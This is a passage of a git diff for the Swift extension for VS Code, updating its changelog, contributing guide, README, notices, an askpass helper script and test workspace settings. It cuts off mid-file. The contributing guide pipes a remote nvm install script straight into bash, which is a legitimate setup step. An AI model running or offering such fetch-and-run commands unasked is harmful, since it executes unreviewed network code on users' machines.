+- Option to disable SourceKit-LSP. + +### Changed + +- Availability of `Run Swift Plugin` command is based off all SwiftPM projects in the workspace, not just the active one. + +### Fixed + +- Only display link to Package.swift if it exists. + +## 1.1.0 - 2023-02-21 + +### Added + +- In-editor display of test coverage results. +- Status Item showing test coverage percentage for current file. Can also be used to toggle display of results. +- Command `Insert Function Comment` that will add function documentation comment. +- Option to disable LSP functionality for C/C++ files. Defaults to disable if C/C++ extension is active. + +### Changed + +- Clicking on task status item will show terminal output for task. +- Tasks are run using `ProcessExecution` instead of `ShellExecution`. +- When SourceKit-LSP crashes multiple times, display a dialog asking if the user wants to restart it. + +### Fixed + +- Added workaround for bug in VS Code where starting two similar tasks at the same time would only start one of the tasks. +- Don't parse functions inside parenthesis when constructing function comment headers. + +## 1.0.0 - 2023-01-19 + +### Added + +- Command to restart SourceKit-LSP server. +- Test Coverage Report, shown after test coverage has run. Also added command to show reports from previous text coverage runs. + +### Fixed + +- Setting of error in Test Explorer when test crashes. +- Skip second attempt at building tests when running tests. +- Parsing of test output when line is split across two text buffers. +- Parsing of skipped tests on Linux. + +## 0.10.0 - 2023-01-04 + +### Added + +- Support for CMake projects. Initiates extension based off existence of compile_commands.json file. +- `Run command plugin` command. Brings up list of available command plugins with options to edit their parameters. +- TestExplorer run profile to generate Code Coverage lcov files. + +### Changed + +- Reorder command plugin loading to run after package resolve when loading package. +- Relax rules for test names. Old style linux tests can include spaces, commas in their names. +- Cleaned up XCTest output parsing to reduce duplicated code. +- Update node modules mocha and qs. + +### Fixed + +- Parsing of multiline error messages in XCTest. Although there are occasions where this will consider too many lines as error output. +- Losing of test item location after building package. +- Finding swift.exe if swift.path is a symbolic link. + +## 0.9.0 - 2022-11-01 + +### Added + +- Show error message when extension activation fails. +- `allowWriteToPackageDirectory` option to plugin tasks. + +### Changed + +- Settings scope for a number of settings so they can be set per workspace folder. Ensure the workspace folder setting is being used. Reverted for a number of settings where per workspace folder setting was not possible. +- Check file type before running Background compilation. + +### Fixed + +- Ordering of menu entries in Swift context menu. +- Display of package dependencies where package name is different from package identity. +- Ensure we don't add folders twice at startup. + +## 0.8.2 - 2022-09-27 + +### Added + +- Setting to disable automatic swift package resolve + +### Fixed + +- Swift package identity should be case-insensitive +- Reduce command line length when running tests to ensure they run on Windows + +## 0.8.1 - 2022-09-09 + +### Fixed + +- Swift submenu is not available when editing non-Swift files +- Correctly indicate the default Xcode installation in Xcode toolchain menu +- Don't attempt to build tests when compiling for iOS, tvOS or watchOS as they don't compile + +## 0.8.0 - 2022-09-06 + +### Added + +- Support for Swift Snippets (requires Swift 5.7). Two new commands have been added `Run Swift Snippet` and `Debug Swift Snippet`. +- Sub menu to text editor right click menu. Includes commands not accessible elsewhere `Run Swift Script`, Snippet commands and `Clean Build`. +- macOS: Command to choose between macOS, iOS, tvOS and watchOS targets. Switching to a non macOS target will give you symbol completion for that target, but building your package will have undefined results. +- macOS: Command to choose between Swift toolchains from all versions of Xcode installed on your system. + +### Changed + +- When working out project dependencies traverse local dependencies to get full dependency chain +- Changed settings scope for a number of settings so they can be set per workspace folder +- Store hash of `Package.resolved` to compare with new `Package.resolved` whenever it has been updated, to ensure it has actually changed before running `swift package resolve`. + +### Fixed + +- Remove `runPlugin` command stub as it does nothing +- Get correct path for Swift when installed on Linux with `swiftenv` + +## 0.7.0 - 2022-08-09 ### Added @@ -32,7 +700,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Queue Swift tasks, where we can, to ensure we don't have multiple `swift` processes running on the same package at the same time. - Configuration setting `buildPath` to set a custom build folder. - The Test Explorer now displays additional states: test enqueued, test running and test errored. - + ### Changed - Upgrade to VS Code LanguageClient v8 @@ -58,7 +726,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Setup of Swift LLDB on Linux. -- If Swift LLDB on Windows setup fails, then fail silently. This indicates the Swift version of LLDB has issues (as is the case in Swift < 5.7) and should not be used. +- If Swift LLDB on Windows setup fails, then fail silently. This indicates the Swift version of LLDB has issues (as is the case in Swift < 5.7) and should not be used. - Pass flags used in Swift build to SourceKit-LSP to avoid unnecessary project rebuilds. ## 0.5.1 - 2022-05-10 @@ -72,7 +740,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ### Fixed - Running non-Swift LLDB on Windows - ## 0.5.0 - 2022-05-02 Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code @@ -89,12 +756,12 @@ Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code ### Changed -- Inlay hints (annotations indicating infered types) now use the standard Visual Studio Code renderer. +- Inlay hints (annotations indicating inferred types) now use the standard Visual Studio Code renderer. - Inlay hints are enabled by default. - Use Language client middleware to catch Document Symbol requests and use the results to update test list in TestExplorer. -- Don't send unfocus events when opening non-file based view. Means current project stays in focus and project dependencies view won't disappear. +- Don't send unfocus events when opening non-file based view. Means current project stays in focus and project dependencies view won't disappear. - If user has created a custom version of a build task in `tasks.json` then use that when building for tests, or running background compilation. -- Split settings into sections. Add Sourcekit-LSP and Advanced sections. +- Split settings into sections. Add SourceKit-LSP and Advanced sections. - When updating launch.json configurations, show one dialog for each project instead of for each configuration. - Windows: Removed dependency on `DEVELOPER_DIR` environment variable. Use `SDKROOT` instead. - Windows: Support Swift 5.7 file structure when finding XCTest. @@ -110,7 +777,7 @@ Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code ### Removed -- `Sourcekit-LSP: Toolchain Path` setting. You can set this using the `Swift: Path` setting. +- `SourceKit-LSP: Toolchain Path` setting. You can set this using the `Swift: Path` setting. ## 0.4.3 - 2022-04-05 @@ -134,14 +801,14 @@ Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code ### Added - Store XCTest class locations in related TestItem. This will augment source code with an icon to run all the tests in a class. -- Cancellation support for tests. When you cancel a test the underlying process is killed (previously it was left running). +- Cancellation support for tests. When you cancel a test the underlying process is halted (previously it was left running). - Show Test Explorer output view as soon as testing starts. - Option to enable/disable the auto-generation of launch.json configurations (default: on). - Option to add compile errors to the problems view (default: on). ### Changed -- Run non-debug test sessions outside of debugger. Now a crash test will not hang inside the debugger. Also we can stream test output to the test explorer view. +- Run non-debug test sessions outside of debugger. Now a crash test will not suspend inside the debugger. Also we can stream test output to the test explorer view. - Show skipped tests as skipped, instead of passed. ## 0.4.0 - 2022-03-22 @@ -156,7 +823,7 @@ Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code ### Changed - The package dependency view is always visible if your project has a Package.swift regardless of whether it has any dependencies. -- Don't completely destroy the Language client when changing LSP server workspace folder. +- Don't completely destroy the Language client when changing LSP server workspace folder. - Conditionally add `--enable-test-discovery` based on Swift version and existence of `LinuxMain.swift`. ### Fixed @@ -169,14 +836,14 @@ Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code - Automatic generation of launch target for running tests. This is no longer needed now we have the test explorer. - ## 0.3.0 - 2022-02-22 ### Added -- Function documentation comment completion. Type "///" on line above function to activate. + +- Function documentation comment completion. Type "///" on line above function to activate. - Package dependency view has new right click menu. Menu entries include: - Use Local Version: Use local version of package dependency. - - Add To Workspace: Add a locally edited dependency to your VSCode Workspace. + - Add To Workspace: Add a locally edited dependency to your VS Code Workspace. - Revert To Original Version: Revert locally edited dependency to the version in the Package.swift. - View Repository: Open the repository web page for the dependency. - Support for Swift packages that are in a sub-folder of your workspace. @@ -184,17 +851,19 @@ Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code - Support for building development version of package via `npm run dev-package`. ### Changed + - Build terminal window is cleared before a build - When the Swift path or SourceKit-LSP path are changed the extension will restart to ensure the correct versions are used. ### Fixed -- Swift 5.6 will fix the issue of the LSP server not working with new files. If the Swift version is previous to 5.6 then the VSCode extension will restart the LSP server whenever a new file is added. +- Swift 5.6 will fix the issue of the LSP server not working with new files. If the Swift version is previous to 5.6 then the VS Code extension will restart the LSP server whenever a new file is added. - The LSP server works on single Swift files outside of a Package.swift. - Windows debug build options for generating dwarf debug output. ## 0.2.0 - 2022-01-20 ### Added + - Build tasks for all folders in the workspace. - Resolve and update commands which update current folder. - Reset package and clean build commands. @@ -205,10 +874,12 @@ Version 0.5.0 of vscode-swift now requires v1.65.0 of Visual Studio Code - Cache contents of Package.resolved for use across different systems. ### Changed + - Cleanup Language client code - Package dependency view updates based on current folder ### Fixed + - Use correct workspace folder in launch.json program name ## 0.1.1 - 2021-12-27 diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md deleted file mode 100644 index 8343f32ac..000000000 --- a/CODE_OF_CONDUCT.md +++ /dev/null @@ -1,55 +0,0 @@ -# Code of Conduct -To be a truly great community, vscode-swift needs to welcome developers from all walks of life, -with different backgrounds, and with a wide range of experience. A diverse and friendly -community will have more great ideas, more unique perspectives, and produce more great -code. We will work diligently to make the vscode-swift community welcoming to everyone. - -To give clarity of what is expected of our members, vscode-swift has adopted the code of conduct -defined by [contributor-covenant.org](https://www.contributor-covenant.org). This document is used across many open source -communities, and we think it articulates our values well. The full text is copied below: - -### Contributor Code of Conduct v1.3 -As contributors and maintainers of this project, and in the interest of fostering an open and -welcoming community, we pledge to respect all people who contribute through reporting -issues, posting feature requests, updating documentation, submitting pull requests or patches, -and other activities. - -We are committed to making participation in this project a harassment-free experience for -everyone, regardless of level of experience, gender, gender identity and expression, sexual -orientation, disability, personal appearance, body size, race, ethnicity, age, religion, or -nationality. - -Examples of unacceptable behavior by participants include: -- The use of sexualized language or imagery -- Personal attacks -- Trolling or insulting/derogatory comments -- Public or private harassment -- Publishing other’s private information, such as physical or electronic addresses, without explicit permission -- Other unethical or unprofessional conduct - -Project maintainers have the right and responsibility to remove, edit, or reject comments, -commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of -Conduct, or to ban temporarily or permanently any contributor for other behaviors that they -deem inappropriate, threatening, offensive, or harmful. - -By adopting this Code of Conduct, project maintainers commit themselves to fairly and -consistently applying these principles to every aspect of managing this project. Project -maintainers who do not follow or enforce the Code of Conduct may be permanently removed -from the project team. - -This code of conduct applies both within project spaces and in public spaces when an -individual is representing the project or its community. - -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by -contacting a project maintainer at [conduct@swiftserver.group](mailto:conduct@swiftserver.group). All complaints will be reviewed and -investigated and will result in a response that is deemed necessary and appropriate to the -circumstances. Maintainers are obligated to maintain confidentiality with regard to the reporter -of an incident. - -*This policy is adapted from the Contributor Code of Conduct [version 1.3.0](https://contributor-covenant.org/version/1/3/0/).* - -### Reporting -A working group of community members is committed to promptly addressing any [reported issues](mailto:conduct@swiftserver.group). -Working group members are volunteers appointed by the project lead, with a -preference for individuals with varied backgrounds and perspectives. Membership is expected -to change regularly, and may grow or shrink. diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 26deaae37..becc6829f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,23 +1,81 @@ -# Contributing +# Welcome to the Swift Community! -## Conduct +Contributions to vscode-swift are welcomed and encouraged! Please see the [Contributing to Swift guide](https://www.swift.org/contributing/) and check out the [structure of the community](https://www.swift.org/community/#community-structure). -All contributors are expected to adhere to the project's [Code of Conduct](CODE_OF_CONDUCT.md). +To be a truly great community, Swift needs to welcome developers from all walks of life, with different backgrounds, and with a wide range of experience. A diverse and friendly community will have more great ideas, more unique perspectives, and produce more great code. We will work diligently to make the Swift community welcoming to everyone. + +To give clarity of what is expected of our members, Swift has adopted the code of conduct defined by the Contributor Covenant. This document is used across many open source communities, and we think it articulates our values well. For more, see the [Code of Conduct](https://www.swift.org/code-of-conduct/). + +# Contributing to /vscode-swift ## Development -To begin development on the VSCode extension for Swift you will need to install [Node.js](https://nodejs.org). On Linux, make sure to install Node.js from its official website or from [NodeSource](https://github.com/nodesource/distributions/) as the version included with your Linux distribution may be outdated. +To begin development on the VS Code extension for Swift you will need to install [Node.js](https://nodejs.org). We use [nvm](https://github.com/nvm-sh/nvm) the Node version manager to install Node.js. To install or update nvm you should run their install script +```sh +curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash +``` +More details on nvm installation can be found in the [README](https://github.com/nvm-sh/nvm/?tab=readme-ov-file) from its GitHub repository. + +Once you have installed nvm, you can clone and configure the repository. + +```sh +git clone https://github.com/swiftlang/vscode-swift.git && cd vscode-swift +``` + +Install the correct version of Node.JS for developing the extension + +```sh +nvm install +``` + +Installs all the dependencies the extension requires + +```sh +npm install +``` + +When you first open the project in VS Code you will be recommended to also install [`ESLint`](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) and [`Prettier - Code formatter`](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode). Please do so. `ESLint`, `Prettier - Code formatter` is used to ensure a consistent style and we expect everyone who contributes to follow this style as well. + +To run your version of the Swift extension while in VS Code, press `F5`. This will open up another instance of VS Code with it running. You can use the original version of VS Code to debug it. + +### Installing Pre-Release Builds + +If you'd like to try out a change during your day to day work that has not yet been released to the VS Code Marketplace you can build and install your own `.vsix` package from this repository. + +#### Building + +If you haven't already, follow the instructions in [Development](#development) to clone the repository and install its dependencies. Now we can generate the `.vsix` package: + +```sh +npm run dev-package +``` + +This builds a file that looks like `swift-vscode-[version]-dev.vsix`. Now install the extension with: -Next, clone this repository, and in the project directory run `npm install` to install all the dependencies. +```sh +code --install-extension swift-vscode-[version]-dev.vsix +``` -When you first open the project in VSCode you will be recommended to also install [`ESLint`](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint), [`Prettier - Code formatter`](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode) and [`esbuild Problem Matchers`](https://marketplace.visualstudio.com/items?itemName=connor4312.esbuild-problem-matchers). Please do so. `ESLint`, `Prettier - Code formatter` are used to ensure a consistent style and expect everyone who contributes to follow this style as well. `esbuild Problem Matchers` provides proper error output from building the project. +Alternatively you can install the extension from the Extensions panel by clicking the `...` button at the top of the panel and choosing `Install from VSIX...`. -To run your version of the Swift extension while in VSCode, press `F5`. This will open up another instance of VSCode with it running. You can use the original version of VSCode to debug it. +If you'd like to return to using the released version of the extension you can uninstall then reinstall Swift for VS Code from the Extensions panel. + +#### Pre-Release Builds on the Marketplace + +Occasionally, pre-release builds will be published to the VS Code Marketplace. You can switch to the pre-release version by clicking on the `Switch to Pre-Release Version` button in the Extensions View: + +![A snapshot of VS Code that has Extensions highlighted, showing the Swift extension. In the detail panel of the extension view, a red box highlights the button "Switch to Pre-Release Version".](userdocs/userdocs.docc/Resources/install-pre-release.png) + +Switching back to the release version can be done by clicking on the `Switch to Release Version` button. + +Release builds for the extension will always have an even minor version number (e.g. `2.0.2`). Pre-release versions will always be one minor version above the latest release version with a patch version set to the day that the VSIX was built (e.g. `2.1.20250327`). These rules are enforced by CI. + +The version number in the [package.json](package.json) should always match the most recently published build on the VS Code Marketplace. ## Submitting a bug or issue Please ensure to include the following in your bug report: -- A consise description of the issue, what happened and what you expected. +- A concise description of the issue, what happened and what you expected. - Simple reproduction steps - Version of the extension you are using - Contextual information (Platform, Swift version etc) @@ -30,13 +88,37 @@ Please ensure to include the following in your Pull Request (PR): - Documentation on how these changes are being tested - Additional tests to show your code working and to ensure future changes don't break your code. -Please keep your PRs to a minimal number of changes. If a PR is large, try to split it up into smaller PRs. Don't move code around unnecessarily as it makes comparing old with new very hard. If you have plans for a large change please talk to the maintainers of the project beforehand. There is a `#vscode-swift` channel on the Swift Server Slack. You can [join here](https://join.slack.com/t/swift-server/shared_invite/zt-5jv0mzlu-1HnA~7cpjL6IfmZqd~yQ2A). +Please keep your PRs to a minimal number of changes. If a PR is large, try to split it up into smaller PRs. Don't move code around unnecessarily as it makes comparing old with new very hard. If you have plans for a large change please talk to the maintainers of the project beforehand either on the [swift.org forums](https://forums.swift.org) in the [VS Code Swift Extension category](https://forums.swift.org/c/related-projects/vscode-swift-extension/) or in the `#vscode-swift` channel on the Swift Server Slack. You can [join the Slack workspace here](https://join.slack.com/t/swift-open-source/shared_invite/zt-1a3hxb9r5-8sFU3D7JUvaP5QO1AjSivg). ### Testing -Where possible any new feature should have tests that go along with it, to ensure it works and will continue to work in the future. When a PR is submitted one of the prerequisites for it to be merged is that all tests pass. You can run tests locally using either of the following methods: -- From VSCode, by selecting "Extension Tests" in the Run and Debug activity. -- Using `npm run test` from the command line (when VS Code is not running, or you'll get an error) +> [!NOTE] +> For a detailed guide on how to write tests for the VS Code Swift extension, see [the guide about writing tests for the VS Code Swift extension](docs/contributor/writing-tests-for-vscode-swift.md). + +Where possible any new feature should have tests that go along with it, to ensure it works and will continue to work in the future. When a PR is submitted one of the prerequisites for it to be merged is that all tests pass. + +For information on levels of testing done in this extension, see the [test strategy](docs/contributor/test-strategy.md). + +To get started running tests first import the `testing-debug.code-profile` VS Code profile used by the tests. Run the `> Profiles: Import Profile...` command then `Select File` and pick `./.vscode/testing-debug.code-profile`. + +Now you can run tests locally using either of the following methods: + +- From VS Code, by selecting `Extension Tests` in the Run and Debug activity. +- Using `npm run test` from your terminal + - You can also use `npm run unit-test` or `npm run integration-test` to specifically run the Unit Tests or Integration Tests respectively. + +Tests can also be launched from the terminal with the `--coverage` flag to display coverage information. For example: + +```bash +npm run unit-test -- --coverage +``` + +## sourcekit-lsp + +The VS Code extension for Swift relies on Apple's [sourcekit-lsp](https://github.com/apple/sourcekit-lsp) for syntax highlighting, enumerating tests, and more. If you want to test the extension with a different version of the sourcekit-lsp you can add a `swift.sourcekit-lsp.serverPath` entry in your local `settings.json` to point to your sourcekit-lsp binary. The setting is no longer visible in the UI because it has been deprecated. + +> [!WARNING] +> If your sourcekit-lsp version does not match your toolchain you may experience unexpected behaviour. ## Legal By submitting a pull request, you represent that you have the right to license your contribution to the community, and agree by submitting the patch that your contributions are licensed under the Apache 2.0 license (see [LICENSE](LICENSE)). diff --git a/CONTRIBUTORS.txt b/CONTRIBUTORS.txt index f72b044e8..a83f85e94 100644 --- a/CONTRIBUTORS.txt +++ b/CONTRIBUTORS.txt @@ -1,5 +1,5 @@ For the purpose of tracking copyright, this is the list of individuals and -organizations who have contributed source code to the VSCode Swift extension. +organizations who have contributed source code to the VS Code Swift extension. For employees of an organization/company where the copyright of work done by employees of that company is held by the company itself, only the company needs to be listed here. @@ -7,14 +7,17 @@ needs to be listed here. - Swift Server Work Group ### Contributors - Adam Fowler +- ComplexSpaces - FW <30873659+fwcd@users.noreply.github.com> - Hassan Talat - Kenta Kubo - Kim de Vos +- Ryan Wang - Saleem Abdulrasool - Serhii Mumriak +- Shu Long <86326526@qq.com> - Steven Van Impe - Tim Condon <0xtimc@gmail.com> +- Tristan Labelle - YR Chen -**Updating this list** -Please do not edit this file manually. It is generated using `./scripts/generate_contributors_list.sh`. If a name is misspelled or appearing multiple times: add an entry in `./.mailmap` +- kelvin diff --git a/NOTICE.txt b/NOTICE.txt index 48341fa57..83b7d5d02 100644 --- a/NOTICE.txt +++ b/NOTICE.txt @@ -2,13 +2,13 @@ Visual Studio Code Swift Extension project ---------------------------------------------------------------------- -This source file is part of the VSCode Swift open source project +This source file is part of the VS Code Swift open source project -Copyright (c) 2021 the VSCode Swift project authors +Copyright (c) 2021 the VS Code Swift project authors Licensed under Apache License v2.0 See LICENSE.txt for license information -See CONTRIBUTORS.txt for the list of VSCode Swift project authors +See CONTRIBUTORS.txt for the list of VS Code Swift project authors SPDX-License-Identifier: Apache-2.0 @@ -34,6 +34,6 @@ This product contains source code from Apple's SourceKit LSP project This product contains source code from CodeLLDB vscode LLDB extension * LICENSE (MIT): - * https://github.com/vadimcn/vscode-lldb/blob/master/LICENSE + * https://github.com/vadimcn/codelldb/tree/HEAD/LICENSE * HOMEPAGE: * https://github.com/vadimcn/vscode-lldb diff --git a/README.md b/README.md index 42750fbe9..a205f5387 100644 --- a/README.md +++ b/README.md @@ -1,82 +1,40 @@ # Swift for Visual Studio Code -This extension adds language support for Swift to Visual Studio Code. It supports: +This extension adds language support for Swift to Visual Studio Code, providing a seamless experience for developing Swift applications on all supported platforms. It supports features such as: * Code completion -* Jump to definition, peek definition, find all references, symbol search -* Error annotations and apply suggestions from errors -* Automatic generation of launch configurations for debugging with [CodeLLDB](https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb) +* Jump to definition, peek definition, find all references and symbol search +* Error annotations and fix suggestions +* Automatic generation of launch configurations for debugging with [LLDB DAP](https://marketplace.visualstudio.com/items?itemName=llvm-vs-code-extensions.lldb-dap) * Automatic task creation -* Package dependency view +* A Project Panel to quickly run actions and view dependencies * Test Explorer view -Swift support uses [SourceKit LSP](https://github.com/apple/sourcekit-lsp) for the [language server](https://microsoft.github.io/language-server-protocol/overviews/lsp/overview/) to power code completion and [LLDB](https://github.com/vadimcn/vscode-lldb) to enable debugging. +> **Note** +> Most features of the Swift for Visual Studio Code extension only work with projects that build with Swift Package Manager. These projects will have a `Package.swift` file in their root folder. Support for Xcode projects (`.xcodeproj`) is limited. -The extension is developed by members of the Swift Community and maintained by the [SSWG](https://www.swift.org/sswg/). The aim is to provide a first-class, feature complete extension to make developing Swift applications on all platforms a seamless experience. +### Creating New Projects + -If you experience any issues or want to propose new features please [create an issue](https://github.com/swift-server/vscode-swift/issues/new) or post on the `#vscode-swift` channel on [Slack](https://swift-server.slack.com). +### Building and Running Executables + -## Contributing - -The Swift for Visual Studio Code extension is a community driven project, developed by the amazing Swift community. Any kind of contribution is appreciated, including code, tests and documentation. For more details see [CONTRIBUTING.md](CONTRIBUTING.md). - -## Installation - -For the extension to work, you must have Swift installed on your system. Please see the [Getting Started Guide on Swift.org](https://www.swift.org/getting-started/) for details on how to install Swift on your system. Install the extension from [VSCode Marketplace](https://marketplace.visualstudio.com/items?itemName=sswg.swift-lang) and open a Swift package! You'll be prompted to install and configure the CodeLLDB extension, which you should do so. - -## Features - -### Language features - -The extension provides language features such as code completion and jump to definition via the Apple project [SourceKit-LSP](https://github.com/apple/sourcekit-lsp). For these to work fully it is required that the project has been built at least once. Every time you add a new dependency to your project you should build it so SourceKit-LSP can extract the symbol data for that dependency. - -### Automatic task creation - -For workspaces that contain a **Package.swift** file, this extension will create the following tasks: - -- **Build All**: Build all targets in the Package -- **Build Debug **: Each executable in a Package.swift get a task for building a debug build -- **Build Release **: Each executable in a Package.swift get a task for building a release build - -These tasks are available via **Terminal ▸ Run Task...** and **Terminal ▸ Run Build Task...**. +### Debugging Executables + -### Commands +### Running Tests + -The extension adds commands, available via the command palette. +# Documentation -- **Resolve Package Dependencies**: Run `swift package resolve` on package associated with open file. -- **Update Package Dependencies**: Run `swift package update` on package associated with open file. -- **Reset Package Dependencies**: Run `swift package reset` on package associated with open file. -- **Clean Build**: Run `swift package clean` on package associated with open file. -- **Run Swift Script**: Run the currently open file, as a Swift script. If the file has not been saved it will save it to a temporary file so it can be run. +The [getting started guide](https://www.swift.org/documentation/articles/getting-started-with-vscode-swift.html) and [official documentation](https://docs.swift.org/vscode/documentation/userdocs) for this extension are available on [swift.org](https://www.swift.org). -### Package dependencies +This extension uses [SourceKit LSP](https://github.com/apple/sourcekit-lsp) for the [language server](https://microsoft.github.io/language-server-protocol/overviews/lsp/overview/), which powers code completion. It also has a dependency on the [LLDB DAP](https://marketplace.visualstudio.com/items?itemName=llvm-vs-code-extensions.lldb-dap) extension to enable debugging. -If your workspace contains a package that has dependencies, this extension will add a **Package Dependencies** view to the Explorer: +To propose new features, you can post on the [swift.org forums](https://forums.swift.org) in the [VS Code Swift Extension category](https://forums.swift.org/c/related-projects/vscode-swift-extension/). If you run into something that doesn't work the way you'd expect, you can [file an issue in the GitHub repository](https://github.com/swiftlang/vscode-swift/issues/new). -![](images/package-dependencies.png) - -Additionally, the extension will monitor **Package.swift** and **Package.resolved** for changes, resolve any changes to the dependencies, and update the view as needed. - -### Debugging - -The Swift extension uses the [CodeLLDB](https://marketplace.visualstudio.com/items?itemName=vadimcn.vscode-lldb) extension for debugging. - -When you open a Swift package (a directory containing a **Package.swift**) the extension creates build tasks and launch configurations for each executable. If the package contains tests, the extension creates a configuration to run the tests. These all use the CodeLLDB extension as a debugger. - -Press `F5` to run an executable and start debugging. If you have multiple launch configurations you can choose which launch configuration to use in the debugger view. - -CodeLLDB has a version of `lldb` packaged with it and by default this is the version it uses for debugging. However, this version of `lldb` does not work with Swift. Fortunately, CodeLLDB allows you to choose an alternate version. The Swift extension will attempt to ascertain which version is required and give you the option to update the CodeLLDB configuration. - -### Test Explorer - -If your package contains tests then they can be viewed, run and debugged in the Test Explorer. - -![](images/test-explorer.png) - -Once your project has been built the Test Explorer will be able to list all your tests. These are grouped by package, then test target and finally XCTestCase class. From the Test Explorer you can initiate a test run, debug a test run and if a file has already been opened you can jump to the source for a test. +## Contributing -### Documentation +The Swift for Visual Studio Code extension is based on an extension originally created by the [Swift Server Working Group](https://www.swift.org/sswg/). It is now maintained as part of the [swiftlang organization](https://github.com/swiftlang/), and the original extension is deprecated. Contributions, including code, tests, and documentation, are welcome. For more details, refer to [CONTRIBUTING.md](CONTRIBUTING.md). -* [Extension Settings](docs/settings.md) -* [Visual Studio Code Remote Development](docs/remote-dev.md) \ No newline at end of file +To provide clarity on the expectations for our members, Swift has adopted the code of conduct outlined in the [Contributor Covenant](https://www.contributor-covenant.org). This widely recognized document effectively encapsulates our values. For more information, please refer to the [Code of Conduct](https://swift.org/code-of-conduct/). diff --git a/assets/swift_askpass.sh b/assets/swift_askpass.sh new file mode 100755 index 000000000..31b86be02 --- /dev/null +++ b/assets/swift_askpass.sh @@ -0,0 +1,10 @@ +#!/bin/sh +VSCODE_SWIFT_ASKPASS_FILE=$(mktemp) + +ELECTRON_RUN_AS_NODE="1" VSCODE_SWIFT_ASKPASS_FILE="$VSCODE_SWIFT_ASKPASS_FILE" "$VSCODE_SWIFT_ASKPASS_NODE" "$VSCODE_SWIFT_ASKPASS_MAIN" +EXIT_CODE=$? + +cat "$VSCODE_SWIFT_ASKPASS_FILE" +rm "$VSCODE_SWIFT_ASKPASS_FILE" + +exit "$EXIT_CODE" diff --git a/assets/test.code-workspace b/assets/test.code-workspace new file mode 100644 index 000000000..cd5bcba97 --- /dev/null +++ b/assets/test.code-workspace @@ -0,0 +1,144 @@ +{ + "folders": [ + { + "name": "diagnostics", + "path": "./test/diagnostics" + }, + { + "name": "dependencies", + "path": "./test/dependencies" + }, + { + "name": "command-plugin", + "path": "./test/command-plugin" + }, + { + "name": "defaultPackage", + "path": "./test/defaultPackage" + } + ], + "settings": { + "swift.disableAutoResolve": true, + "swift.autoGenerateLaunchConfigurations": false, + "swift.debugger.debugAdapter": "lldb-dap", + "swift.debugger.setupCodeLLDB": "alwaysUpdateGlobal", + "swift.additionalTestArguments": [ + "-Xswiftc", + "-DTEST_ARGUMENT_SET_VIA_TEST_BUILD_ARGUMENTS_SETTING" + ], + "lldb.verboseLogging": true, + "lldb.launch.terminal": "external", + "lldb-dap.detachOnError": true, + "swift.sourcekit-lsp.backgroundIndexing": "off" + }, + "tasks": { + "version": "2.0.0", + "tasks": [ + { + "type": "swift", + "args": [ + "build", + "--build-tests", + "--verbose", + "-Xswiftc", + "-DBAR" + ], + "cwd": "${workspaceFolder:defaultPackage}", + "group": { + "kind": "build", + "isDefault": true + }, + "label": "swift: Build All (defaultPackage) (workspace)", + "detail": "swift build --build-tests --verbose -Xswiftc -DBAR" + }, + { + "type": "swift", + "args": [ + "build", + "--show-bin-path" + ], + "cwd": "${workspaceFolder:defaultPackage}", + "group": "build", + "label": "swift: Build All from code workspace", + "detail": "swift build --show-bin-path" + }, + { + "type": "swift-plugin", + "command": "command_plugin", + "args": [ + "--foo" + ], + "cwd": "${workspaceFolder:command-plugin}", + "disableSandbox": true, + "label": "swift: command-plugin from code workspace", + "detail": "swift package command_plugin --foo" + }, + { + "type": "swift", + "args": [ + "build", + "--product", + "PackageExe", + "-Xswiftc", + "-diagnostic-style=llvm", + "-Xswiftc", + "-DBAR" + ], + "cwd": "${workspaceFolder:defaultPackage}", + "group": "build", + "label": "swift: Build Debug PackageExe (defaultPackage) (workspace)", + "detail": "swift build --product PackageExe -Xswiftc -diagnostic-style=llvm -Xswiftc -DBAR" + }, + { + "type": "swift", + "args": [ + "build", + "-c", + "release", + "--product", + "PackageExe", + "-Xswiftc", + "-diagnostic-style=llvm", + "-Xswiftc", + "-DBAR" + ], + "cwd": "${workspaceFolder:defaultPackage}", + "group": "build", + "label": "swift: Build Release PackageExe (defaultPackage) (workspace)", + "detail": "swift build -c release --product PackageExe -Xswiftc -diagnostic-style=llvm -Xswiftc -DBAR" + } + ] + }, + "launch": { + "version": "0.2.0", + "configurations": [ + { + "type": "swift", + "request": "launch", + "name": "Debug PackageExe (defaultPackage) (workspace)", + "program": "${workspaceFolder:defaultPackage}/.build/debug/PackageExe", + "args": [], + "cwd": "${workspaceFolder:defaultPackage}", + "preLaunchTask": "swift: Build Debug PackageExe (defaultPackage) (workspace)", + "disableASLR": false, + "initCommands": [ + "settings set target.disable-aslr false" + ] + }, + { + "type": "swift", + "request": "launch", + "name": "Release PackageExe (defaultPackage) (workspace)", + "program": "${workspaceFolder:defaultPackage}/.build/release/PackageExe", + "args": [], + "cwd": "${workspaceFolder:defaultPackage}", + "preLaunchTask": "swift: Build Release PackageExe (defaultPackage) (workspace)", + "disableASLR": false, + "initCommands": [ + "settings set target.disable-aslr false" + ] + } + ], + "compounds": [] + } +} \ No newline at end of file diff --git a/assets/test/.vscode/launch.json b/assets/test/.vscode/launch.json new file mode 100644 index 000000000..c7011a707 --- /dev/null +++ b/assets/test/.vscode/launch.json @@ -0,0 +1,29 @@ +{ + "configurations": [ + { + "type": "swift", + "request": "launch", + "name": "Debug 